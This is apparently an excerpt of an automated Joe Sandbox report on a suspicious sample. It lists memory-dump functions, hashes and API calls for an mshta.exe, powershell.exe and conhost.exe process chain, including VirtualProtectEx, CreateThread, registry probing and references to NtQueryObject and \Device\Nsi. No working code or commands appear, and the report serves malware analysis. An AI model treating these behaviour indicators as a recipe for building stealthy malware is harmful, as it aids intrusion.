Snapshot File: hcaresult_7_2_7ffd34170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6baddfc869e5142a03cc9c84142444f5b0226bf5306087f7b0d70c6702baf6bd
Instruction ID: c876b0cc9c3cc14a50c643aac9d2a8be9c335685bb71aef1f60ff33525fbc7bc
Opcode Fuzzy Hash: 6baddfc869e5142a03cc9c84142444f5b0226bf5306087f7b0d70c6702baf6bd
Instruction Fuzzy Hash: 07018423F0EF9A0FE7E6A66C58A51B899D1EF5A25174480BAE50DC31D3DD2DEC015340

Function 00007FFD340A37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2299909818.00007FFD340A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd340a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b810c0910d0c383be203c592890fe595a75bf040a6519caf3d9f7ce2020acd1
Instruction ID: 3d4ddc66ec867c246395406e4cf6c1652eecb87c916e2a03799e970307de6762
Opcode Fuzzy Hash: 3b810c0910d0c383be203c592890fe595a75bf040a6519caf3d9f7ce2020acd1
Instruction Fuzzy Hash: 8501A77020CB0C4FDB84EF0CE051AA6B3E0FB89320F10052DE58AC3651D736E882CB41

Function 00007FFD34170E70 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2301144725.00007FFD34170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd34170000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baada5f523083602779955db7c51430f4eecbae645923bec02f8158ce374ecae
Instruction ID: 9911375e763c9321459932a8c31830fb16a73a2256da0d4fc3ee75bdd170eeae
Opcode Fuzzy Hash: baada5f523083602779955db7c51430f4eecbae645923bec02f8158ce374ecae
Instruction Fuzzy Hash: 1D01FF2464E3C58FC75357784C302667FE89F43228B0800EAE0C8CA0A3C90C085AC396

Analysis Process: mshta.exePID: 7444, Parent PID: 7400COMMON

Executed Functions

Function 000002AECD000F09 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F11 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F21 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F31 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F41 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F49 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F51 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F61 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F69 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F71 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F79 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F81 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000F91 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Function 000002AECD000FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000003.2285965734.000002AECD000000.00000010.00000800.00020000.00000000.sdmp, Offset: 000002AECD000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_3_2aecd000000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction ID: 0c62ca3f676dcf33fdb39a83d0eadf82c56f076ff8266d12996fbfd6da814300
Opcode Fuzzy Hash: 7138bbfc8f3f255ef01850f78d10a34422efde96c889ed009d55ad33e92055be
Instruction Fuzzy Hash: A290020459550A76D81411960C9A26C5043638D160FD54482442690544DC4E12972153

Analysis Process: powershell.exePID: 7616, Parent PID: 7444COMMON

Executed Functions

Function 00007FFD3419208A Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2897692471.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fd9fccea48ca815ac0a60f2b84eebf16175e940cc12dcab38f42f967e5d2942
Instruction ID: 5dea342a761bf2f3e611ad3ff395c653555d554b3e002679740c1def0f94b061
Opcode Fuzzy Hash: 3fd9fccea48ca815ac0a60f2b84eebf16175e940cc12dcab38f42f967e5d2942
Instruction Fuzzy Hash: 0F210723F0EF4A1FE3E6AA6C14A5174A2C2EF86350B8804BAD10CC3197ED2DEC019285

Function 00007FFD34190D1E Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2897692471.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc53f50c23957f9b8901a1128ee8d88f1ef8327bc4663bf2b5fb22b0fdcd9d2
Instruction ID: dea574dd1fffa7c2c17db96d670111a10209d25aee3c91bdb9f6a3ff4b3dd998
Opcode Fuzzy Hash: 7dc53f50c23957f9b8901a1128ee8d88f1ef8327bc4663bf2b5fb22b0fdcd9d2
Instruction Fuzzy Hash: 4001B923F0EE9A4FE7E6AA6C14B51B865D1EF5A25174800BBD50DC71D3DD1DBC015380

Function 00007FFD340C37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2896288014.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cd7bdb080d301f13d20f0c778934d2b47bcc6878ebb588afffc52a1ce257a2a
Instruction ID: d99f7c72f0f9fd7cbdee9d46e2c2396bc985ae647e10b526e7e157dba6c33298
Opcode Fuzzy Hash: 5cd7bdb080d301f13d20f0c778934d2b47bcc6878ebb588afffc52a1ce257a2a
Instruction Fuzzy Hash: 6C01A77021CB0C8FDB44EF0CE091AA6B3E0FB89320F10052DE58AC3691D736E882CB41

Analysis Process: conhost.exePID: 7636, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	2

Executed Functions

Function 000001DCB14E328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001DCB14E32AE
PathFindFileNameW.SHLWAPI ref: 000001DCB14E32BD

Part of subcall function 000001DCB14E3844: StrCmpNIW.SHLWAPI ref: 000001DCB14E385C

Part of subcall function 000001DCB14E3790: GetModuleHandleW.KERNEL32 ref: 000001DCB14E379E
Part of subcall function 000001DCB14E3790: GetCurrentProcess.KERNEL32 ref: 000001DCB14E37CC
Part of subcall function 000001DCB14E3790: VirtualProtectEx.KERNEL32 ref: 000001DCB14E37EE
Part of subcall function 000001DCB14E3790: GetCurrentProcess.KERNEL32 ref: 000001DCB14E3809
Part of subcall function 000001DCB14E3790: VirtualProtectEx.KERNEL32 ref: 000001DCB14E382A

CreateThread.KERNEL32 ref: 000001DCB14E330B

Part of subcall function 000001DCB14E1D14: GetCurrentThread.KERNEL32 ref: 000001DCB14E1D1F

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 5bb64984ff3019b2dc74c9f03e9d9bb8f7f6ff03899a5b59318e04077f3ce1ea
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A411657261064385FB6A9761F44BBE92294BBD47C4F50CB27950A41699EF78C648CEC0

Function 000001DCB14E1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001DCB14E1628: GetProcessHeap.KERNEL32 ref: 000001DCB14E1633
Part of subcall function 000001DCB14E1628: HeapAlloc.KERNEL32 ref: 000001DCB14E1642
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E16B2
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E16DF
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E16F9
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1719
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E1734
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1754
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E176F
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E178F
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E17AA
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E17CA

Sleep.KERNEL32 ref: 000001DCB14E1AD7
SleepEx.KERNELBASE ref: 000001DCB14E1ADD

Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E17E5
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1805
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E1820
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E1840
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E185B
Part of subcall function 000001DCB14E1628: RegOpenKeyExW.ADVAPI32 ref: 000001DCB14E187B
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E1896
Part of subcall function 000001DCB14E1628: RegCloseKey.ADVAPI32 ref: 000001DCB14E18A0

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 6d6dc646fd75f4b042d0483313952ee227d6452ceec334e157cb3eb1c270aaa6
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 4331F073250647D6FF589B26DA433E913A4ABC5FC4F089E239E0D8769EEE14C451CA90

Function 000001DCAFC1273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001DCAFC1285E

Memory Dump Source

Source File: 00000010.00000002.2915198787.000001DCAFC10000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001DCAFC10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcafc10000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 843578725e39ed8af405fb067f3e669f01228159d9f0f1d646b6c65344831acc
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 3761E33BB0169A87EF64CF1A94007E9B392F754B98F198522EE59077C4FB34D862C784

Non-executed Functions

Function 000001DCB14E2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001DCB14E2BD0
lstrlenW.KERNEL32 ref: 000001DCB14E2E0A

Part of subcall function 000001DCB14E199C: OpenProcess.KERNEL32 ref: 000001DCB14E19C2
Part of subcall function 000001DCB14E199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001DCB14E19E0
Part of subcall function 000001DCB14E199C: PathFindFileNameW.SHLWAPI ref: 000001DCB14E19EF
Part of subcall function 000001DCB14E199C: lstrlenW.KERNEL32 ref: 000001DCB14E19FB
Part of subcall function 000001DCB14E199C: StrCpyW.SHLWAPI ref: 000001DCB14E1A0E
Part of subcall function 000001DCB14E199C: CloseHandle.KERNEL32 ref: 000001DCB14E1A1C

GetProcAddress.KERNEL32 ref: 000001DCB14E2BE5

Part of subcall function 000001DCB14E152C: StrCmpIW.SHLWAPI ref: 000001DCB14E155D

Part of subcall function 000001DCB14E3844: StrCmpNIW.SHLWAPI ref: 000001DCB14E385C

StrCmpNIW.SHLWAPI ref: 000001DCB14E2C28
lstrlenW.KERNEL32 ref: 000001DCB14E2D50

Strings

ntdll.dll, xrefs: 000001DCB14E2BC9
NtQueryObject, xrefs: 000001DCB14E2BDB
\Device\Nsi, xrefs: 000001DCB14E2C1B

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: b457e0666debee1e014178a80a3172861fab78f03d448e945b173b0042818b7e
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 6BB18F73210A6286EB698F29D442BE963A5F788BD4F449A17EE095379CDF35CC41CB80

Function 000001DCB14E7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001DCB14E7DAC
RtlCaptureContext.NTDLL ref: 000001DCB14E7DD9
RtlLookupFunctionEntry.NTDLL ref: 000001DCB14E7DF3
RtlVirtualUnwind.NTDLL ref: 000001DCB14E7E34
IsDebuggerPresent.KERNEL32 ref: 000001DCB14E7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001DCB14E7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001DCB14E7EB4

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 9e6a10b5be5cfd9b3c2c8ed45ca8a304f9d697aa6579d92f3c2b4e346521bce6
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: E2316D77205B818AEB64DF60E8817EE7360F784794F44492BDA4E57B98EF38C648CB50

Function 000001DCB14ED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001DCB14ED31D
RtlLookupFunctionEntry.NTDLL ref: 000001DCB14ED335
RtlVirtualUnwind.NTDLL ref: 000001DCB14ED370
IsDebuggerPresent.KERNEL32 ref: 000001DCB14ED3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001DCB14ED3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001DCB14ED3BE

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: b68343837b6fad82080331d8641453ecb2096441465f1c65e3496a047100e18d
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: F2315B36214B8186EB64CF25E8813DE73A4F7C9794F504627EA9D43B98DF38C556CB80

Function 000001DCB14E7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001DCB14E798C
GetCurrentThreadId.KERNEL32 ref: 000001DCB14E799A
GetCurrentProcessId.KERNEL32 ref: 000001DCB14E79A6
QueryPerformanceCounter.KERNEL32 ref: 000001DCB14E79B6

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 4b87a4bb231a6b4ef035a2c95b205faaa5d7818fc592362f06f136662878733b
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 6311FE36710F068AEF00CF60E8553A833A4F759798F441E27DA6D467A8DB78C198C780

Function 000001DCB14EDCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2915463896.000001DCB14E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DCB14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_1dcb14e0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 3a5a2eeb82f1852efb6e57219e8fea19996ab9731aa393f2074d8804fcebe8f9
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
